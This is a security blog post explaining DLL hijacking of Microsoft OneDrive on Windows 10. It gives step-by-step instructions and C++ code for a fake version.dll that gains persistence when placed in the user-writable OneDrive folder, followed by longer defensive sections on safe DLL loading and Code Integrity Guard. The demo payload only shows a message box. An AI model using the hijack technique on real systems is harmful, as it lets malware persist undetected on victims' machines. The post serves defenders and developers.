
Intro
A few days ago, I noticed that the security researcher Colin Hardy posted a video where he demonstrated the technique that malware used to gain persistence in the target system. In a nutshell, the binary payload was placed into a user-writable location with the Microsoft OneDrive executable, masking as a system DLL. That allowed such DLL to be loaded into the OneDrive program every time a user was logging in.
The question that I had for myself was, how is it possible that a malware can inject itself so easily into one of the Microsoft's own processes in the latest version of Windows 10?
This blog post will shed some light on that question.
The Basics
The reason why malware profiled by Colin could so easily gain foothold in the OneDrive executable was two-fold:
- OneDrive executable is located in the user-writable directory, or %UserProfile%\AppData\Local\Microsoft\OneDriveto be precise. So many unprivileged programs can write to that location.
- DLL search order. If you need an example of an
		overblown and archaic contraption, read that document. I can almost guarantee that you won't go through it without thinking, "WTF?"
		In a nutshell, when you load a DLL, the loader goes through the process outlined in that cumbersome document to find the file for DLL, if DLL is not specified by its full path. To make matters worse, due to legacy reasons, none of the DLLs that you build your executables with (even today!) are specified by a full path. Instead they are specified by their names only. So if you read somewhere in the middle there, you will see that a DLL will be first loaded from: 1. The directory from which the application loaded. Unless such DLL is one of the so-called KnownDLLs, that can be found in the following registry key:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLsThe problem with KnownDLLsthough, is that the list is very short. For instance, these are DLLs that are listed in my Windows 10:wow64cpu.dll wowarmhw.dll xtajit.dll advapi32.dll clbcatq.dll combase.dll COMDLG32.dll coml2.dll difxapi.dll gdi32.dll gdiplus.dll IMAGEHLP.dll IMM32.dll kernel32.dll MSCTF.dll MSVCRT.dll NORMALIZ.dll NSI.dll ole32.dll OLEAUT32.dll PSAPI.DLL rpcrt4.dll sechost.dll Setupapi.dll SHCORE.dll SHELL32.dll SHLWAPI.dll user32.dll WLDAP32.dll wow64.dll wow64win.dll WS2_32.dll
- Then there's also DLL Redirection. With it Microsoft evidently tried to fix some other problem that came up earlier but instead created more unnecessary complexity that is always bad for security.
So all of this means that if someone can write into a directory where an executable is running from, they can create a clone of the system DLL that is imported by an executable (and is not listed in the KnownDlls list) and such DLL will be loaded into the victim process and executed in its context.
So let's see how easily we can replicate it.
DLL Hijacking In Practice
First let's examine what files are located in the folder where OneDrive executable runs in:
There are only two executables, and no DLLs. That's good for malware. The OneDrive.exe is the binary that runs every time when OneDrive is opened.
	It is also good for malware that OneDrive.exe is started automatically when each user logs in. This will guarantee persistence.
	This is done by Windows itself and should not raise any suspicions from the antivirus software.
Then let's see what modules does OneDrive.exe import. I will use my WinAPI Search app for that:
OneDrive.exe opened in WinAPI Search tool.
Then let's pick the module that is not on the list of KnownDLLs. The malware that Colin worked with, used Version.dll, so let's use it as well.
Next we need to see what functions the OneDrive.exe process imports from Version.dll. We'll use WinAPI Search app for that as well:
OneDrive.exe opened in WinAPI Search tool.
When we get the list of imports, make sure to sort it by "Module From/To" column and scroll to the Version.dll section.
	As you can see there are only three functions that are imported from that module:
GetFileVersionInfoSizeW
GetFileVersionInfoW
VerQueryValueWThis will make it very easy for us to code our fake Version.dll to load into the OneDrive.exe process.
Creating The Hijack DLL
Let's open Visual Studio, and create a new project and pick Dynamic-Link Library (DLL) for C++.
When a new DLL project is created, add a new file to it in the Header Files folder. You can use the Header File (.h) template, just make sure to rename it into 
	exports.def. Then put into it the names of imported functions we found above as such:
LIBRARY Version
EXPORTS
GetFileVersionInfoSizeW PRIVATE
GetFileVersionInfoW PRIVATE
VerQueryValueW PRIVATEYou will need to change some project properties too. In Configuration Properties for the DLL project:
- Go to Linker->Input->"Module Definition File"and addexports.definto it.
- Then go to Linker->General->"Output File"and change the name of the resulting module to$(OutDir)version$(TargetExt)to make sure that you compile it intoversion.dllfile.
- Additionally, I would also go to C/C++->Code Generation->"Runtime Library"and set it toMulti-threaded (/MT). This will ensure that the DLL compiles without any dependencies to newer run-tine libraries that may be absent on the target machine.
Then in the dllmain.cpp add some minimum code to test our exploit:
// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
BOOL APIENTRY DllMain( HMODULE hModule,
						DWORD  ul_reason_for_call,
						LPVOID lpReserved
						)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
	{
		::MessageBox(::GetDesktopWindow(), L"Bad version.dll was loaded", L"HIJACKED!", MB_ICONWARNING | MB_SYSTEMMODAL | MB_TOPMOST);
	}
	break;
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}
DWORD WINAPI GetFileVersionInfoSizeW(LPCWSTR lptstrFilename, LPDWORD lpdwHandle)
{
	::Sleep(INFINITE);
	return 1;
}
BOOL WINAPI GetFileVersionInfoW(
	LPCWSTR lptstrFilename,
	DWORD   dwHandle,
	DWORD   dwLen,
	LPVOID  lpData
)
{
	::Sleep(INFINITE);
	return TRUE;
}
BOOL WINAPI VerQueryValueW(
	LPCVOID pBlock,
	LPCWSTR lpSubBlock,
	LPVOID  *lplpBuffer,
	PUINT   puLen
)
{
	::Sleep(INFINITE);
	return TRUE;
}
</windows.h>In our code above we just created three duds for the imported functions. We need to have them as otherwise the loader will reject our DLL when loading it into OneDrive.exe.
	But we don't really need to provide any code in those functions, as we're not interested to run them. Thus we just created an infinite delay in
	each function using the Sleep API. 
	This will stall the calling thread inside the OneDrive.exe process.
Finally our "payload" goes into DllMain. It will be executed right after OneDrive.exe is mapped into memory.
	This is also very convenient for the malware, as at that time no code inside OneDrive.exe would have a chance to run yet (aside from the code in DllMain functions in 
	previously loaded modules.)
In our case we will just show a system modal message box that our fake DLL has been loaded. This will tell us that the code in malware has executed.
Proof-of-Concept
Compile the DLL project above as Release configuration and move resulting fake version.dll to the target computer into the 
	%UserProfile%\AppData\Local\Microsoft\OneDrive directory.
	Notice that there's no UAC prompt that comes up to move that file. This means that almost everyone can do it.
Then reboot the computer, log in as that user, and wait for the result:
Our fake version.dll was loaded into the OneDrive process, that by the way, Microsoft forces pretty much on every Windows user, which is a very
	convenient way of auto-start (i.e. persistence) for the malware.
Ways of Mitigation
Having shown how easy it is to load a fake DLL into someone else's process, let us try to find ways to mitigate it.
Non-Writable Location
Somewhat luckily for us, Microsoft has envisioned a possible solution. There are locations on disk that require administrative privileges to write to.
	And one of such locations is the %ProgramFiles% directory, or %ProgramFiles(x86)% for 32-bit programs. 
	(That is, by the way, a recommended location to place Windows executables into.)
In this case, if an attacker cannot modify files in the directory where your executable is running from, they will not be able to use the DLL hijacking technique that I've shown above.
There are still bypasses that allow to write even into a protected location, but at least it is not as straightforward as I've shown above.
Dynamic Loading of DLLs
As much as I hate to suggest this solution, it seems to be the most reliable from all three here. In a nutshell, if the DLL that you want to load is not on the 
	KnownDlls list,
	you can load that DLL dynamically, or at run-time in your code using the full path of that DLL. Then you can resolve all imported functions in the DLL, and use the resulting 
	pointers to call those functions in your code. This is not as straightforward as 
	using the load-time linking though.
The main idea is that by loading your DLLs with a full path you remove any ambiguities of the DLL search order.
	Let me give you an example how you would load the functions we saw above from a genuine Version.dll:
#include <strsafe.h>
#include <assert.h>
#include <shlwapi.h>
#pragma comment(lib, "Shlwapi.lib")
WCHAR buff[MAX_PATH];
//Get system folder path
WCHAR buffSysDir[MAX_PATH] = {};
::GetSystemDirectory(buffSysDir, _countof(buffSysDir));
::PathAddBackslash(buffSysDir);
HMODULE hVersionDll = NULL;
//Declare function pointers
DWORD(WINAPI *pfn_GetFileVersionInfoSizeW)(
	LPCWSTR lptstrFilename,
	LPDWORD lpdwHandle
	) = NULL;
BOOL(WINAPI *pfn_GetFileVersionInfoW)(
	LPCWSTR lptstrFilename,
	DWORD   dwHandle,
	DWORD   dwLen,
	LPVOID  lpData
	) = NULL;
BOOL(WINAPI *pfn_VerQueryValueW)(
	LPCVOID pBlock,
	LPCWSTR lpSubBlock,
	LPVOID  *lplpBuffer,
	PUINT   puLen
	) = NULL;
//Dynamically load DLL by its full path
if (SUCCEEDED(::StringCchCopy(buff, _countof(buff), buffSysDir)) &&
	SUCCEEDED(::StringCchCat(buff, _countof(buff), L"version.dll")) &&
	(hVersionDll = ::LoadLibrary(buff)))
{
	//Resolve imported functions and load their addresses into our pointers
	if (((FARPROC&)pfn_GetFileVersionInfoSizeW = ::GetProcAddress(hVersionDll, "GetFileVersionInfoSizeW")) &&
		((FARPROC&)pfn_GetFileVersionInfoW = ::GetProcAddress(hVersionDll, "GetFileVersionInfoW")) &&
		((FARPROC&)pfn_VerQueryValueW = ::GetProcAddress(hVersionDll, "VerQueryValueW")))
	{
		//Can call those functions now
		pfn_GetFileVersionInfoSizeW(pFileName, dwHandle);
		pfn_GetFileVersionInfoW(pFileName, dwHandle, dwLen, pData);
		pfn_VerQueryValueW(pBlock, pSub, &pBuffer, ncbBuffLen);
	}
	else
		assert(false);
}
else
	assert(false);
if (hVersionDll)
{
	//Clear function pointers (for code safety)
	pfn_GetFileVersionInfoSizeW = NULL;
	pfn_GetFileVersionInfoW = NULL;
	pfn_VerQueryValueW = NULL;
	//And unload library
	::FreeLibrary(hVersionDll);
	hVersionDll = NULL;
}Or, if you're targeting operating systems newer than Windows 7 (it may also work on Windows 7, but it requires the presence of 
	KB2533623)
	you may use the following newer method with LOAD_LIBRARY_SEARCH_SYSTEM32 flag that works without explicitly specifying the system folder when loading DLLs:
//Declare function pointers
DWORD(WINAPI *pfn_GetFileVersionInfoSizeW)(
	LPCWSTR lptstrFilename,
	LPDWORD lpdwHandle
	) = NULL;
BOOL(WINAPI *pfn_GetFileVersionInfoW)(
	LPCWSTR lptstrFilename,
	DWORD   dwHandle,
	DWORD   dwLen,
	LPVOID  lpData
	) = NULL;
BOOL(WINAPI *pfn_VerQueryValueW)(
	LPCVOID pBlock,
	LPCWSTR lpSubBlock,
	LPVOID  *lplpBuffer,
	PUINT   puLen
	) = NULL;
	
HMODULE hVersionDll = ::LoadLibraryEx(L"version.dll", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);
if(hVersionDll)
{
	//Resolve imported functions and load their addresses into our pointers
	if (((FARPROC&)pfn_GetFileVersionInfoSizeW = ::GetProcAddress(hVersionDll, "GetFileVersionInfoSizeW")) &&
		((FARPROC&)pfn_GetFileVersionInfoW = ::GetProcAddress(hVersionDll, "GetFileVersionInfoW")) &&
		((FARPROC&)pfn_VerQueryValueW = ::GetProcAddress(hVersionDll, "VerQueryValueW")))
	{
		//Can call those functions now
		pfn_GetFileVersionInfoSizeW(pFileName, dwHandle);
		pfn_GetFileVersionInfoW(pFileName, dwHandle, dwLen, pData);
		pfn_VerQueryValueW(pBlock, pSub, &pBuffer, ncbBuffLen);
	}
	else
		assert(false);
	//Clear function pointers (for code safety)
	pfn_GetFileVersionInfoSizeW = NULL;
	pfn_GetFileVersionInfoW = NULL;
	pfn_VerQueryValueW = NULL;
	//And unload library
	::FreeLibrary(hVersionDll);
	hVersionDll = NULL;
}
else
	assert(false);Lastly, with the same restrictions imposed on the operating system (anything older than Windows 7, or you will need 
	KB2533623 installed)
	you can use the following alternative method of specifying the search order globally with the 
	SetDefaultDllDirectories function:
//Declare function pointers
DWORD(WINAPI *pfn_GetFileVersionInfoSizeW)(
	LPCWSTR lptstrFilename,
	LPDWORD lpdwHandle
	) = NULL;
BOOL(WINAPI *pfn_GetFileVersionInfoW)(
	LPCWSTR lptstrFilename,
	DWORD   dwHandle,
	DWORD   dwLen,
	LPVOID  lpData
	) = NULL;
BOOL(WINAPI *pfn_VerQueryValueW)(
	LPCVOID pBlock,
	LPCWSTR lpSubBlock,
	LPVOID  *lplpBuffer,
	PUINT   puLen
	) = NULL;
//Set default search order for DLLs to be loaded from the System32 folder
//INFO: Note that this method is set globally for the entire process!
if(::SetDefaultDllDirectories(LOAD_LIBRARY_SEARCH_SYSTEM32))
{
	HMODULE hVersionDll = ::LoadLibrary(L"version.dll");
	if(hVersionDll)
	{
		//Resolve imported functions and load their addresses into our pointers
		if (((FARPROC&)pfn_GetFileVersionInfoSizeW = ::GetProcAddress(hVersionDll, "GetFileVersionInfoSizeW")) &&
			((FARPROC&)pfn_GetFileVersionInfoW = ::GetProcAddress(hVersionDll, "GetFileVersionInfoW")) &&
			((FARPROC&)pfn_VerQueryValueW = ::GetProcAddress(hVersionDll, "VerQueryValueW")))
		{
			//Can call those functions now
			pfn_GetFileVersionInfoSizeW(pFileName, dwHandle);
			pfn_GetFileVersionInfoW(pFileName, dwHandle, dwLen, pData);
			pfn_VerQueryValueW(pBlock, pSub, &pBuffer, ncbBuffLen);
		}
		else
			assert(false);
		//Clear function pointers (for code safety)
		pfn_GetFileVersionInfoSizeW = NULL;
		pfn_GetFileVersionInfoW = NULL;
		pfn_VerQueryValueW = NULL;
		//And unload library
		::FreeLibrary(hVersionDll);
		hVersionDll = NULL;
	}
	else
		assert(false);
}
else
	assert(false);But, as you can see, the amount of code involved to implement it is way more than just calling the following for the static linking:
GetFileVersionInfoSizeW(pFileName, dwHandle);
GetFileVersionInfoW(pFileName, dwHandle, dwLen, pData);
VerQueryValueW(pBlock, pSub, &pBuffer, ncbBuffLen);So it is obvious that most developers, including Microsoft itself, will not be willing to go this route.
Code Integrity Guard
It seems like Microsoft had a good idea with their Code Integrity Guard, or CIG. It's only if they implemented it thoroughly.
	CIG in a nutshell is a security policy that can be enabled for a process to only allow loading modules that are properly signed by Microsoft.
	So in other words, if CIG was enabled for the OneDrive executable it would not load our fake version.dll because it was not signed by Microsoft.
	This would've been a perfect solution, had Microsoft properly implemented CIG.
CIG is not documented very well either. You can find scarce references to it in theSetProcessMitigationPolicyfunction documentation for theProcessSignaturePolicyflag. And in the documentation for thePROCESS_MITIGATION_BINARY_SIGNATURE_POLICYstructure.
The main issue with CIG in our case is that we cannot enable it via an image binary itself, of through the PE file. If we could, any attempts to map an unsigned DLL
	would've been thwarted during the loading of statically linked modules,
	such as our fake version.dll.
	CIG can be currently enabled by the process on itself, by calling SetProcessMitigationPolicy:
#ifdef _M_X64
//Enable CIG for the self process
PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY pmbsp;
pmbsp.MicrosoftSignedOnly = 1;
if (!::SetProcessMitigationPolicy(ProcessSignaturePolicy, &pmbsp, sizeof(pmbsp)))
{
	//Failed to set CIG
	assert(false);
}
#else
#error "CIG is not supported for 32-bit processes"
#endif
	CIG works only for 64-bit processes, which OneDrive.exe is not.
But calling the code above will not do us any good as by the time we call it, our fake DLL will be already loaded during the load-time linking.
The second option how CIG can be enabled, is by a parent process when a child process is created using 
	UpdateProcThreadAttribute 
	function, using the extended attributes with 
	PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY and PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON flag.
	But for that option to work, the process that starts OneDrive.exe, or 
	Windows Explorer in our case, needs to support it, which it currently does not.
Conclusion
Unfortunately, the way DLLs are loaded into programs is bogged down in Windows legacy, which becomes a true security nightmare. And until Microsoft implements a decent version of Code Integrity Guard, there doesn't seem to be any guaranteed solution against DLL hijacking on the horizon.
The best option for software developers today, if they want to protect their executables from DLL hijacking, is to place them into a folder that is not writable by standard users; and if code refactoring is feasible, load affected system DLLs dynamically using their full path. This won't be a panacea, but will still offer better protection.
Make sure to read Microsoft's own suggestions on implementing DLLs securely and their overall DLL best practices for developers.
 
		




